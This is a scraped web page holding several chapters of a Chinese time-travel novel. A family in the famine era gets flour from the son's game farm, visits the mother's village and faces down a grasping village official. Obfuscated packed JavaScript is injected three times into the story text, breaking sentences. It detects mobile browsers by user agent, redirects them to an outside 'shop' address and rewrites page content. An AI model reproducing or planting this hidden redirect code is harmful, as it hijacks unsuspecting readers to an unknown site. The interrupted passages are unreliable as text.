顾哲也不在,这倒是稀奇。 “顾哲回去要晾晒一下被子褥子,今天天气好。”周敏抬头,满眼都是笑,“来来来,咱儿子立大功了。” “咋?家里有面吃了?”许放拍掉一身凉气,这才靠近母子二人。 “你猜对了!!!”周敏捂着嘴,怕自己笑声太大,“哎呀,儿子终于把那个什么农场,弄到十级了。快,儿子你说。” 农场在消耗了许晨半颗肝之后,终于慢悠悠的上了十级。 十级的农场,可以增加六块地,每块地还能升一级,升级还有两个选项,一个是减少农作物产出时间百分之五,一个是增加农作物产量百分之五。 许晨选了增加产量的,等二十级还能给地升级,到时候根据解锁的农作物产出时间再选别的。 然后农场还解锁了三种农作物,分别是玉米,土豆,南瓜。 小麦和玉米的生产时间都是六个小时,土豆是七个小时,南瓜是八个小时。 这就需要许晨对目前九块地好好安排了。 还有就是农场土地旁边,增加了个小摊位。小摊位上有六个格子,可以卖自家产出,也可以去购买其他玩家的产出。 但去掉了留言功能,也不知道其他玩家是不是跟他一样都穿越的,还是之前世界的玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正好,”许放很是开心,“明天我去单位请个假,后天咱们回村里,给你姥姥姥爷带些面粉去。估计村里比咱们这里还紧张,没有多少吃的了。” “我也这么想的!”周敏乐开了花,“晚上吃啥?吃南瓜疙瘩汤呗?咱家收的南瓜还没舍得吃呢。” 他们这个院子也不是一直空置的,家家户户都会种一些蔬菜。 譬如说豆角,南瓜,白菜之类。 许家院子里就种了不少菜,不过现在冷了,蔬菜都收进了地窖,院子也显得十分萧条起来。 周敏抓了两把替代粮,又剁了几片白菜帮子混在一起把鸡喂了,然后让许放去地窖搬个南瓜上来。 这边跟南瓜叫倭瓜,大多数人家种的都是那种歪把子大倭瓜,也有圆的,但不多,都说圆的不好吃。 许放削南瓜皮,切南瓜,用的还是派出所缴获后发给他的匕首。 因为家里没有菜刀了,菜刀也都被收去炼钢了。 周敏挖了两大碗小麦粉,调面疙瘩。 “晨晨,去,把弟弟妹妹喊回来。然后去大哲家里帮个忙,叫人回来吃饭。” 许晨把农场任务收了尾,从炕上下来穿鞋,“还用叫啊?他们到点儿不知道过来?” “让你去你就去,成天在炕上堆萎着,小心屁股扎了根爬不起来了。”许放笑骂道:“懒不死你的。” “诶诶,我可是功臣呢!”许晨穿好鞋,披上大棉袄往外走,“你们这夫妻俩也真是的,用得着我了就是我的儿,晨晨大宝贝。用不着了,就怼我。” “快去吧,哪儿这么多废话!”许放抬脚在儿子屁股上踹了一下,“磨磨唧唧的。” 13. 姑奶奶回来了 晚上这一顿,吃的大家都舒坦了。 终于不是硬塞黑窝头糊糊,灌个水饱了。而是能吃到又香又甜的南瓜疙瘩汤,疙瘩汤可粘稠了,面疙瘩能吃到浓郁的小麦香。 “爹,咱家咋会有面粉啊?”许阳吃的脸蛋红扑扑的,别看岁数小,但胃口可不小。一大海碗的疙瘩汤稀里哗啦下去,甚至还觉得不够。 要不是周敏怕她吃撑了不敢让撑,兴许这丫头能再干掉半碗呢。 “大哲,锅里还有啊,往饱了吃!”周敏笑呵呵道:“你爹单位有人从别的地方弄了点儿粮食过来,特地买的。这事儿都别往外说啊,省的给你们爹招祸。” “娘,放心吧!”许光把碗都舔的干干净净,看样子都不用刷了。他打了个饱嗝道:“谁家有口吃的不都藏着掖着,往外嚷嚷的都是大傻子。 这个时候对粮食抓的还不算太严,但再等几个月,真有人饿死了,那时候谁敢折腾粮食,被举报了就会要命的。 自己单位弄点儿也不敢多了弄,据说不能超过多少斤,否则会被判刑。 许放记得穿越之前他父母聊天,曾经说到这个年代,说有人贪污了几十吨救济粮往外卖,被抓住后举国愤怒。 还有人想要给家里人弄点儿吃的,在自己牙缝省下了替代粮偷摸往农村老家送,但被人举报了,工作都没了。 总之,趁着现在形势还没有那么严峻,得赶紧给周敏娘家多囤点粮食。 还有京城那边也得问问,如果有去京城的车就去一趟,给那边也留下点儿粮食什么的。 许晨可算吃了顿顺嗓子的饭,肚皮撑的溜圆,躺在炕上一动都不想动。 “妈,明天中午我们也吃疙瘩汤呗?”他道。 周敏骂道:“吃吃吃,就知道吃!就这么点儿粮食你还能都吃了?得亏你大姐上学去了,否则非得给你来几下不行。” 自己儿子对这个时代了解的不多,周敏决定,有空得跟老公多给儿子补习一下现在的情况。 省的这小子说话不注意,惹了麻烦。 许晨被骂懵了,反应了好一会儿才明白过来,叹了口气。 得,现在就算有了面粉,都不敢敞开吃。 “后天大哲也请假去,”周敏又道:“后天咱们去村里你们姥姥家,都去。” 顾哲愣了愣,“我就不用去了吧?” “去,我们可能得在那边待一两天的,你不去,晚上吃什么?去去去,就当出去玩,散散心。”周敏可不敢把顾哲这个孩子一个人留家里,万一吃不饱呢?万一烧炕烧出问题了呢? 一半大孩子,谁放心啊。 “记得请假啊!”周敏拍了下顾哲的背,“去了让你姥爷套兔子,我们炖兔子吃。” 顾哲只觉得眼角发酸,然后用力点了点头,“好的,我会记得请假!” 他多想跟周姨喊一声娘啊,但他不敢。 如果周敏是他娘,那该多好。 第二天中午去食堂吃饭的时候,林场用来放歌播新闻的大喇叭响起来了。 “有没有要买铝锅的?可以放灶台上的大铝锅。三十五一个,带蒸屉的大铝锅。有要买铝锅的,来工会报名交钱。咱们林场统一买锅啊。就买这一次,下次可不折腾了啊。” 许放听见这个动静,低声跟周敏道:“我跟上面说了一下,让领导们操心去。买的人多了就可以征用大卡车,总比自己往回背强。” 铝锅太大了,往回背都费劲。否则老吴当时在屋里琢磨半天也没张开嘴呢,就是因为太麻烦了。 食堂里一群人叽叽喳喳的聊开了。 季家人也凑过来,季航他爹问道:“老许,是你跟上面说的吧?” 许放笑道:“是,有不少人去我家看锅,但那个锅大不好背。但凡好弄,我都帮着带回来了。” “挺好挺好,我家也打算买一个。不过灶台都拆了,还得重新垒。”季航他爹想起家里的灶台就生气。 没有锅了,灶台留着也麻烦,很多人家里干脆就都拆了,直接从炕洞里烧火。 也有人家里没拆,譬如说许放家,上面铺个石板,还能放东西呢。 “垒呗,咱们这儿又不是没有垒灶台的好手。”许放道。 季航他爹气道:“我这不是跟那个老东西呛呛了几句吗?哎呀,如今要拉下脸来求人了。” 许放笑咳嗽了,拍拍季航的肩膀:“成了,多大点儿事。给支烟也就好了,什么求人不求人的。” 买锅登记的人挺多,毕竟大家都不喜欢用瓦罐煮糊糊吃。 那玩意热的慢,还容易破,麻烦死了。 以前也没人张罗着买锅,更别说去市里百货商场看铝锅了。 现在既然有了这个选项,愿意买锅的还是多数。 铝锅虽然贵,但不会被收走啊。 周敏要回娘家,里外里的收拾起来。 从柜子里翻出几块老粗布带回去,又去供销社买了两斤白糖,两斤桃酥,两斤水果糖,六盒火柴,一捆十根的蜡烛以及两斤煤油。 村里买这些东西比较难,那边也没有供销社。想要买东西,要么来林场这边的供销社,要么去镇上的供销社。都不近。 许放回来收拾出两个大筐,一个筐里放了五十斤小麦粉,上面压了几斤他之前带回来的高粱米还有家里省下来的替代粮。另一个筐里放了那个大锅,锅里放着五十斤苞谷面,上面盖着周敏收拾的那些东西。 一大早,一大家子就锁好门,去赶小火车了。 小火车只有一节车厢是封闭的,其他都是托板儿,用来放木头的。 去山里伐木的工人都挤在小火车里,抽烟的说笑的,空气十分浑浊。 许放跟周围认识的人打招呼,然后带着妻儿来到角落。他跟开火车的那个说好了,等到了腚沟子村儿附近就减速,他们好下车。 是的,减速,下车。 压根就不会停。 想要下车就得往下跳。 其实小火车开的也不快,如果都是老爷们大小伙子,这个速度直接跳下去都没事,顶多打个滚儿也就起来了。 这不是周敏怀孕了吗?不能跳的太厉害。 等回去的时候就坐村里的牛车去林场伐木的那边,从那边起始站直接坐小火车回去。 腚沟子村夹在两座山之间,按说这种地理位置这边都会习惯叫夹皮沟,不过这两个山特别浑圆,加上一整条山脉瞅着像个人趴在那里,所以就起了这么个破名字。 小火车喀嚓喀嚓的跑,穿过一片草垫子,又过了个隧道,然后开始减速。 “老许,可以下车啦!”车头那边有人喊。 “知道了知道了!”许放连忙拎起扁担,“晨晨,扶着你娘先下去,然后我把筐扔下去。” 许晨第一次跳火车,跳下去跟着车小跑,扶着周敏的胳膊把人拽下来抱住。 弟弟妹妹嘎嘎大笑着往下跳,许放从后面把筐 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“周家的,回娘家!”许放扯着嗓子喊。 喊完了,就看村边的树丛里钻出来几个年轻的小伙子,还背着枪呢。 这就是村里的民兵,值班的。如果是陌生人进村,他们早就出来了。见这边拖家带口的才藏起来,让村口的老头试探。 “我,周敏!!”周敏嗓门也不小。 “哎哟,是姑奶奶啊!”那老头大笑道:“姑奶奶回来了?狗蛋子,狗栓子,赶紧去你周家太爷那边报信儿!” 两个背着枪的小伙子应了声,又看了眼周敏,然后这才呼啦啦往村里跑。 周敏在脑子里飞快的寻找关于老家的记忆,“老栓啊。” 李老栓,腚沟子村辈分最小的一家。 周家其实是后来户,但周曾老太爷是个有本事的,当初来到这个村子,组织了年轻人把常驻在这一片的胡子都干翻了,然后跟李家辈分第二高的那位论了兄弟。 这就导致周家以及跟周家一起闯关东过来的几个外姓兄弟,辈分都高了不少。 李老栓得跟周敏喊一声姑奶奶,跟许晨喊声舅舅。 连带着许放着辈分也跟着长,混了个姑爷爷当。 “姑爷爷,扁担我挑!”李老栓伸手去接扁担。 许放哪里敢让他挑,这小老头瞅着得五十出头了,再给累着。 “不用不用,几步路的事儿。” “姑奶奶,姑奶奶!!”一群小孩子们从村里冲出来,“姑奶奶来了!姑奶奶好,姑爷爷好,五舅舅六舅舅好,七姨好。” “好好好,赶紧回家,外面冷。姑奶奶给你们带糖了。”周敏连忙道:“老栓儿,一会带孩子去家里坐坐啊。” 李老栓道:“让我那几个孙子过去玩就行了,我得守着村口。” “姑,姑父!”几个大小伙子也跟着跑出来,二话不说接过许放肩膀上的扁担,挑着就跑了。 一家子人热热闹闹的往村里去,周家在村的最里面,挨着里面的山岔口。 许晨被几个小孩儿拽着跑,然后看见周家门口站着几个老头。 “大太爷二太爷三太爷!”小孩子们嗷嗷叫。 许晨算了算辈分,明白自己应该喊爷爷。就是分不清这仨老头,那个才是真的爷爷。 14. 一个女婿半个儿 “看我这大外孙子,是不是又长个了?”一个光头老汉拎着旱烟袋,对许晨招招手。 许晨嘿嘿笑着跑过去,刚要喊爷爷,就听旁边那个谢顶老头道:“什么你的大外孙子,这是我的大外孙子。” 许晨:??? 最后那个黑瘦但头发最多个头最高的老头笑呵呵道:“大外孙子,别理那俩老头子,来,到爷爷这里来。” 许晨:…… 还好,周敏走得很快,这就到身后了。 她对最后那个老头喊,“爹,”又对旁边两个老头喊,“大伯,二伯。晨晨快叫人,不来的时候天天念叨,到了就傻乎乎的不张嘴。” 许晨这才老老实实的喊了爷爷,又喊了大爷爷二爷爷。 周家这是一大片院子,三个爷爷住在一起,儿孙自然也住在一起。 老哥仨一共生了八个儿子,只有老三生了个闺女,也就是周敏,那叫一个受宠。 这可是周家唯一一个姑奶奶。 “老妹儿!” “妹子!” 八个壮汉在院子里围着周敏,就稀罕这个妹妹,对旁边的妹夫左看右看都看不顺眼。 别看妹子嫁过去这么多年了,但身为兄长,仍旧不待见妹夫。 “围在院子里像什么话?”大院子第一间正房门帘子撩开,门口站着个小脚老太太,头发已经全白了,在脑袋后用扁方盘了个圆髻。“敏啊,带孩子进来暖和暖和,都有了身子的人了,还不知道轻重呢?” “大伯娘。”周敏喊了声,身边的哥哥们让了位置,她拉着三个孩子快步走了过去,“大伯娘,你咋出来了呢?我就是说几句话……” “啥话不能进屋说?”从里间又走出俩老太太,周敏见了笑眯了眼睛,“娘,二伯娘。” 三个孩子也奶奶大奶奶二奶奶一顿的喊,被老太太们搂着抱着嘴里喊着宝啊肉啊我的儿啊,拥簇着进了里屋,脱鞋上炕。 这间正房是大爷爷大奶奶屋,因为他们辈分高,所以屋里能保留个铁锅。 几个老头老太太干脆就都住这屋了,冬天也暖和。 现在铁锅里烧了水,灶膛里还有火,里屋热腾腾的,厚棉袄都穿不住。 “跳车过来的?”周奶奶看着自己闺女,气道:“你不知道你有身子了?还跳车,作不死呢你!不知道提前让人带个话过来啊?到时候直接去林场里面接你们,还省的走这么长的道!” “哎呀,这不是没事吗?可别骂闺女。”周大奶奶拉着周敏的手,“丫头啊,你也是虎的很,也怪不得你娘骂你,下回可不能这样了。对了,大丫头呢?” 她左看右看,没看见许娟。 “娟儿念书去了,”周敏笑道:“我跟她爹琢磨了一下,觉得娟儿不读书就浪费了。幸好娟儿自己也努力,学校愿意要她,就过去了。” 周奶奶蹙眉,“读书去了?你之前不是还说娟儿岁数大了,要相看人家准备成亲吗?” 周敏:…… “我那时候不是不懂事吗?哎呀娘,总之娟儿读书去了,以后备不住能去县里市里当个干部呢。我跟她爹都说好了,只要娟儿能读书,我们就供,最好能读个大学,当个大干部。” “说得好!”周大奶奶道:“我早就说娟儿是个读书的料子,你之前还叽叽歪歪的说什么姑娘岁数大了不好找人家。现在想开了?就得读书,咱们家孩子能读书的,都得去读书!” 别看周大奶奶是个裹小脚的老太太,但她以前也是读过书的,上过私塾,比周家不少女人都强。之前还做过村里的妇女主任呢,就是因为她认字,而且明事理。 说着话,外面的人也都进了屋,扁担也拿进来了。 “娘,我想跟哥哥他们出去玩。”许光坐不住,频频向外面看。 周敏也不拦着,还推了许阳一把,“让你姐带你出去玩,别乱跑,别上山,小心挨揍。” “等一下,”许晨去外间屋的筐里翻了一下,把那包糖块翻出来,抓了几把塞进许阳口袋里,“妹啊,你带他们出去吃糖。” 许阳捂着口袋,仰着脖子,牵着弟弟,跟大将军一样走出去,“都过来,听话的有糖吃!” 大人们哈哈笑,周奶奶道:“这晨晨,倒是有做哥哥的样子了。” 周敏笑道:“之前还爬高爬低,后来掏鸟窝摔了一下,老实了。” “哎哟,咋还摔着了呢?”周二奶奶连忙让许晨上前来,拉着他的手左看右看,“摔哪儿了?脑袋上这块疤是不是?哎呀挺好的小脸蛋儿怎么能留疤呢。莲啊,莲!把我屋那个祛疤的药拿来。” 丛金莲,周家大孙媳妇儿,是个勤快漂亮的姑娘。 丛金莲在窗外应了声,去了隔壁正房,一会儿捧了个小瓷瓶回来,“快让我看看咱家晨晨,哎哟,这么大的疤啊?赶紧擦点儿药。” 许晨安静的被几个女人摆弄来摆弄去,脸上挂着笑,都快僵了。 正想着要不要找个借口出去,就见门帘子撩开,大爷爷走了进来,“敏,你家不过了?带这么多粮食来做什么?” “大伯,家里还有,这是特地给你们整来的。”周敏连忙从炕沿儿上站起来,“许放东奔西跑的出差,能淘换粮食。攒了一段时间的呢,家里还有几十斤,等他出差还能带。” “真有?”大爷爷不信。 “大爷爷,真的有,我们这两天每天晚上都能吃一顿南瓜疙瘩汤呢,可香了。”许晨连忙道:“这些是我爸特地留下来给爷爷奶奶们带来吃的。” 大奶奶问,“多少斤粮食啊,你这大惊小怪的。” 大爷爷伸手道:“五十斤面粉,五十斤苞谷面,咋?你嫌少啊?” “你个死老头子,我说什么了?咋这么多啊?”大奶奶也有些吃惊。 周敏压低声音道:“许放有地方淘换,去的南边,那边粮食多。每次弄十来斤回来,家里攒不少了。听说村里现在吃饭难,我们好歹有定量,村里没有,他着急,怕过些日子下雪,就提前送过来了。” 大奶奶欣慰的拍了拍妯娌的胳膊,“一个女婿半个儿,许放这孩子,仁义,老实,是个好孩子。” “是,他待我是极好的。”周敏也笑。 两口子上辈子也很少拌嘴,有事无论大小都商量着来,恩爱了大半辈子,让儿子成天嚷嚷说自己是意外的产物。 孩子们都出去玩了,岁数大的嘴也严,知道什么能说,什么不能说。 现在村里的形势比镇上还严,镇上他们还能养几只鸡下蛋吃呢,村里养的鸡几乎都被收走了,说算集体资产,要大家一起吃。 这些粮食都被藏进地窖,村里的大锅饭现在都快揭不开锅了,那些人看见养的大牲口眼睛都发绿。 要是让他们知道这里有粮食,不得冲进来把人活吃了。 “那个姓王的,就是个王八蛋,王八犊子!”三个老爷子也都进了屋上了炕,几个兄弟坐在炕下凳子上,陪着妹妹和妹夫唠嗑。 现在冷了,村里也没有什么大棚之类,都开始猫冬。 村里集体食堂一天两顿饭,之前还能看见点儿粮食,现在几乎天天烀南瓜烀红薯土豆炖大白菜了。 姓王的这个人,是村里学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685813|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历最高的一个,高中生。 但他不是大队长,也不是村支书,就是个小队长。 这个人及其不消停,当初上蹿下跳的让村里搞□□,又是哭又是闹,还逼迫着周围几个村的支书们都要搞,说这是国家政策。 好好的苞谷苗麦苗都被挖出来挤挤挨挨的种一起,然后喊记者来拍照,他可美了,美滋滋,觉得自己可能个了,以后能从村里调到镇上。 结果呢,照片登报了,但没有什么动静,上面就给了几句嘉奖,让他在村里当了个小队长。 要问他一个高中生,怎么不去镇上,不去县里当干部呢? 听说是他家成分不咋好,以前他爹是地主家的长工,用了手段娶了地主家闺女,当了上门女婿。 这个上门女婿又争又抢,地主家烦死他了,最后想办法去县里给他们买了套房子让他们在县里住,不要回村了。 其实这个地主不是那种大地主,就是个有了百来亩地的小地主,家里养了几头牛,有几个长工,算是能吃饱饭,有些余庆的。 后来解放了,这个姓王的他爹老王不知道怎么想的,突然就把自己岳父一家子都干死了,说他们畏罪自杀,对不起老百姓,然后把遗产都留给他这个长工出身的女婿。 他媳妇直接疯了,半夜用菜刀把人剁了个稀碎,然后把家里值钱的东西都卖了,镇上房子也卖了,带着钱跟小闺女跑了,至今下落不明。 留下姓王的这么个人,剩下的家财也守不住,最后都土改了。 这个人死性不改,成天说村里沾了他的光,让村里人掏钱给他上学读书,读到高中又看上县里一个干部家的闺女,猛猛追求,给干部家惹急了,原本都分配好的工作也没了,直接弄回村里,让他“关心农民兄弟”去了。 然后村里也被他搞得乌烟瘴气,不是弄□□,就是带着一群人挨家挨户搜铁器,恨不得把人家门上的铁插销都掰下来弄走。 还说要收锄头铁锹爬犁,让以后种地都用木头或者手挖。 这事儿,差点儿没把村支书跟大队长气死,直接告到了县里,县里下来人把他训斥了一顿,又安抚说什么出发点是好的,但不能这么激进。 然后呢?姓王的跟打了鸡血一样,更嚣张了。 农具不能动,那家家户户铁器必不能留。菜刀,马勺都被收走了,牛鼻子上的铁环也被他下了,村里用来弄牛圈的铁栏杆更是保不住。 最后又是村支书去了镇上,说村里老人太多了,没有锅喝不上热水,冬天受不了,这才把村里几个辈分大的人家里,都留了口锅。 收完铁,又到处吹牛说什么亩产十万斤,导致村里存粮都被交了上去,来年种地的种子都没有。 姓王的怕村里人闹腾,还上纲上线说这都是为了国家做贡献,谁不同意,谁就是不爱国。硬是把一群没见过什么世面的老农们都压服住了。 “现在村里大锅饭也是他管,他跟他媳妇没有一个好东西。他媳妇儿之前还总往家里偷粮食呢,后来被人发现挨了顿揍。那个王八犊子还不想给人吃饭了,说什么冤枉他家,成天一副要死要活的劲儿。” 大奶奶也叹气道:“原本都看他可怜,毕竟他爹不是个东西。谁知道他随根儿,也不是个什么好东西。” 正说着,门口传来喊话的声儿,“周太爷,周太奶,是不是我周家姑姑回来了?我看大包小包的,带了不少粮食回来了吧?” 许晨透过窗户往外看,看见个头发抹的溜滑穿着干部服二十多快三十岁的男的站在门口,长得倒是人模狗样的,但说出来的话就特别不招人待见。 15. 防贼 屋里几个老人的脸刷的就沉下来了。 许放笑道:“就这么个东西?我出去会会他。” “他混不吝的……”周家大哥也站起身,“特别会撒泼打滚。” 许放道:“又不是正经村干部,还得罪不起了?” 他出了门,道:“诶?你谁啊?” 王大全看着许放,眼里满是嫉妒。许放再不济人家是镇上的,还在派出所上班,又是个干部。 这里外里的,都让他看不顺眼。 “哟,许大哥。” 周家大哥瓮声瓮气道:“你得喊他许姑爷爷。” 王大全:…… 他黑着脸喊了许姑爷爷,又问道:“姑爷爷带了粮食过来了吧?咱们这边粮食都得交公,又食堂统一做了,大家一起吃。” 许放笑道:“哟,那你们还管我们这些人伙食呢?我们打算跟这里住几天,一天两顿都能跟食堂吃?” 王大全眼睛一鼓,“你们粮食关系又不在村里,不能在食堂吃。” “那你来嚷嚷什么?”许放冷笑道:“我带的粮食是我们过来几天要吃的口粮,跟你什么关系?上门就要饭,什么毛病!” 王大全大声道:“你带了粮食分给村里人吃,就是坏了大锅饭的规矩!” “那你去告我啊,就说你管的大锅饭让人都吃不饱,人家女婿过来给送了口吃的,你撒泼打滚不乐意了。去去去,去告我!”许放从兜里掏出一包牡丹江,抽了根点上,一副漫不经心的样子,“拿鸡毛当令箭,你这样的我看得多了。我告诉你王大全,有本事你就去镇里,去县里告我,没本事你就闭嘴!呜呜渣渣的讨人嫌。” “你,你这是坏了规矩!”王大全气的跳脚。 “你算个什么规矩,国家还让吃大锅饭吃饱呢,你管的,大家都吃饱了吗?”许放怼他。 周围看热闹的邻居愤愤道,“吃饱个屁,粮食都没了,天天吃烀红薯,放屁放的屋里待不住人!” “吃不饱不还是你王大全搞得?亩产十万斤,你到处吹牛啊,吹牛能吃饱不?” “真把自己当干部了,也不看看自己什么德行。” “你,你们,”王大全脸都涨红了,“当初你们都吃了我家的粮食,如今……” “如今咋?如今解放了,你姥爷是你爹杀的,你爹是你娘杀的。那些粮食家财,要不是村里帮你抢了些,都被土匪抢走了。如今管你吃喝让你上学,还供出仇了呢?” “你们就是欺负我是孤儿,看不起我!”王大全推了推眼镜,“你们且等着,等我去县里当干部了,我……” “那你去啊,你不去是因为不想吗?”许放道:“现在镇上初中生都能当个干部,你可是高中生,为什么不去坐办公室啊?是不喜欢吗?” 许晨在屋里噗嗤笑出声,“我爸这张小嘴儿跟抹了毒似的,老妈,你抗毒性真好。” 周敏哈哈笑了两声,突然察觉不对劲儿,抬手拍了许晨一下,“个死孩子,咋啥都乱说呢?” 周奶奶一言难尽,但又挺欣慰的,“这个姑爷知道护着自家人,那就挺好。以前瞅着老实巴交的,没看出来还有这本事呢。” “以前也没遇到过这种人啊,施展不出来。”周敏笑了笑,“娘,那我们走了,他会不会找你们麻烦?” “他敢,”大奶奶啐道:“就成天小丑一样上蹿下跳,谁把他当个东西了?管大锅饭原本就是个得罪人的差事,他愿意接手村里还巴不得呢。现在天天挨骂,拎着个马勺,真当自己大官儿了。” 二奶奶也道:“他那个媳妇儿也不是个什么好东西,破落户家的。当初咱们村给他说个媳妇儿都是踏踏实实干活的好人家姑娘,他心气儿高,看不上,总想娶个干部家的。结果呢?” 许晨问道:“结果呢?二奶奶你说话咋还卖官司啊?” 二奶奶笑道:“这不是当着你这个孩子我不知道咋说吗?哎,不好说。” “二伯娘,您就说吧,他成天东家西家窜,什么不知道啊?”周敏也着急吃瓜。 二奶奶冷笑一声,道:“他那个媳妇儿娘,以前是做半掩门子的。后来给城里一个军官当了妾,生了个闺女。再后来不是解放了吗?军官带着自己老婆孩子跑了,留下这么一对儿母女俩,在城里装阔太太。然后呢,他在城里装有钱的知识分子,一来二去的……啧啧。” 许晨明白了,一个为了钱,一个为了权,结果最后谁都没落到。 王大全在镇上的房子早就没了,那房子是留他的名字,听说是跟人耍钱,被人骗了,拿房子做了抵押。 原本以为自己找到个有钱人家的千金,以后过吃软饭的日子,谁知道千金是假的,那房子也是租的。 成亲之后,啥都没有,又被断了在镇上和县里当干部的路,只能灰溜溜的回村子里了。 至少村子里,还有他几间房呢。 许晨觉得,应该没那么简单。 就因为追求一个干部家姑娘,被断了路子?谁家干部也没这么豪横啊。 这个瓜还没熟,等他回去得好好打听打听。 太好奇了。 这个王大全压根就不是许放的对手,三下五除二就被怼的丢盔卸甲。 只要他一张嘴,就被问为什么不去县里当干部,是不想吗? 字字如刀,戳的他浑身刀眼儿都是血。 只能灰溜溜的跑了。 “我可没骂他,”许放还满脸无辜呢:“各位可都听清楚了,我一个脏字儿都没说,就是好奇啊,他一个高中生不去做干部,怎么回来村里了。哎呀,他也不说,真是急死我了。” 这简直就是落井下石。 邻居们嘎嘎大笑,他们也学会了。 以后姓王的再闹腾,就问他。 “你为什么不去当干部啊,是不想吗?还是不喜欢?” 许放大获全胜,得意洋洋的回来。几位大舅子终于看他顺眼了点儿,表示这个妹夫,能处。 没热闹看了,许放重新靠在被垛上,然后想起一件重要的事儿,“爷,咱们村打猎吗?” 周爷爷叹了口气,“以前打,今年我看玄。” “为啥啊?”许晨不懂。 周爷爷看了眼周奶奶,周奶奶叹气道:“之前李老四家孩子,饿的嗷嗷的。儿媳妇生了娃奶少,得吃点儿有营养的东西。李老四就去山里套了两只兔子,回来给家里人炖了吃了。然后被那个姓王的上纲上线,扣了两天伙食。要不是各家各户接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685814|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 济点儿,怕是那儿媳妇都得抱着孩子跳河去。” 周爷爷道:“以前打猎,这些兔子野鸡,归各家,除非打到大家伙,村里会分一些,但打猎的人家能多分些好的。但那个王八犊子说了,一根鸡毛都是国家的,需要上交。这种情况,谁还去打猎啊?脑袋挂裤腰带上的活儿,拼死拼活的,给他填政绩去呢?” 许晨有些失望,“那就不能让姓王的祸害村里人了,得想个办法把他整走。” “哪儿就这么容易了。”那一大家子人,就是村里的老鼠屎,谁看了都烦。 许晨挠头。 算了,这种事不如让他爸操心去。 当当当!! 村里的的钟被敲响了。 “哎哟,放饭了。”聊天聊的正开心的周家人一个激灵,“赶紧着,拿碗,打饭去。” 周敏道:“爹娘,那我就在家里做个饭了。” “你们吃你们的!”周奶奶利落的下了炕,“别吃太好的,我怀疑那个姓王的孙子一会儿还得来偷看。他那个肚子里,都是黑水儿。” 许阳带着弟弟从外面跑回来,一脑袋都是汗,进屋就喊,“娘,咱吃啥啊?爷爷给套兔子不?” 周敏的嘴立马就耷拉下来了,“快别提了,吃糊糊。” 许阳见状,也跟着耷拉嘴,那模样和周敏一毛一样,“为啥啊。” “因为村里有个坏人,不让开小灶。”许晨道。 王大全一副为国为民的样子,看着好像是对村民好,有东西大家一起吃。但这就导致有本事有能力的不愿意出头。 凭什么自己受苦受罪供养你们一群人啊? 既然没有好处,那大家有什么吃什么呗,都吃一样的,我们也不挑。 所以说大锅饭养懒汉,就是这么来的。 锅里的黑糊糊咕嘟咕嘟的冒泡,里面还掺了点儿苞米面,但不多,主要是怕人看出来。 “老姑,吃啥好吃的呢?”黑糊糊刚端上桌,外面就来人了。 反正大门开着,村里也不习惯锁门,这人不打招呼直接进,说话功夫就进了屋了。 周敏笑呵呵道:“还能吃啥?我们自己带的口粮呗。可没你的份啊,我们可丁可卯的。你咋不去吃饭呢?” 那人眼珠子在屋里骨碌了一圈,确定桌上只有黑糊糊,许放正在切咸菜丝,用来下饭的。 “嗨呀,我这不是以为你们吃好吃的,过来蹭一口吗?”那人抽了抽鼻子,没有问道什么苞米面白面的气味,“行了老姑,那我去食堂啦。” 说完,抬脚就走了。 “这谁啊?”许放都惊呆了,那个王大全脑子有问题吧?这是防贼呢? 再说他们来看家里的老人,就算带吃的又怎么了?难不成还要硬抢? 许晨用筷子扒拉着碗里的黑糊糊,道:“爸,你有啥办法把那个姓王的整走不?让他在这里,我爷他们得被折腾死。” “对,整走,远远的整走!”周敏也烦死了。 吃个饭还得偷偷摸摸的,谁受得了啊。 许放道:“我能有啥办法啊?他们一家子户口跟这儿呢,就算想办法调出去,出了问题他们还是能回来的。只要这种人活着,就得折腾点儿事儿出来。” 16. 上山 许晨他们吃了饭,锅里还留了些黑糊糊,多抓了两把苞米面,加了两瓢水煮着。 等周家人吃饭回来,还能喝口热乎的。 吃饭用不了多久,这边锅里刚煮个开,村民们就陆陆续续的往家里走了。 周大爷爷带着周家人回来,脸色不是很好看。 “大伯二伯,爹,吃的啥啊食堂?”周敏问。 周爷爷冷笑道:“吃的啥?清水煮红薯,蒸南瓜,一人一筷子酸菜。就这,吃不饱就没了。” 村里人吃这些东西吃的胃里直冒酸水,村支书去查看了存粮,在考虑要不要去镇上借粮了。 肚子里没有粮食,真扛不住。 “锅里还有点儿糊糊,一人喝一碗暖喝暖和。”周敏招呼着。 “给孩子们喝吧,”周大爷爷摆摆手,显然气饱了,压根吃不进去。 周敏道:“西屋的炕我们也烧上了,用的那个铝锅。你们不吃也喝点儿热乎水。” 有热水喝也是好的,岁数小的能混碗糊糊,岁数大的只能喝热水。 热水里放了糖,甜滋滋的,喝完胃里都舒坦了。 “爷,你们不能打猎,我跟我爹能去打猎不?”许晨盘腿坐在炕上问,“山脚下晃悠晃悠,抓几只兔子啥的。到时候带去镇上,你们去镇上吃。” 许放眼睛一亮,道:“也是啊,我们又不是村里人,打了东西还要给村里分不?” 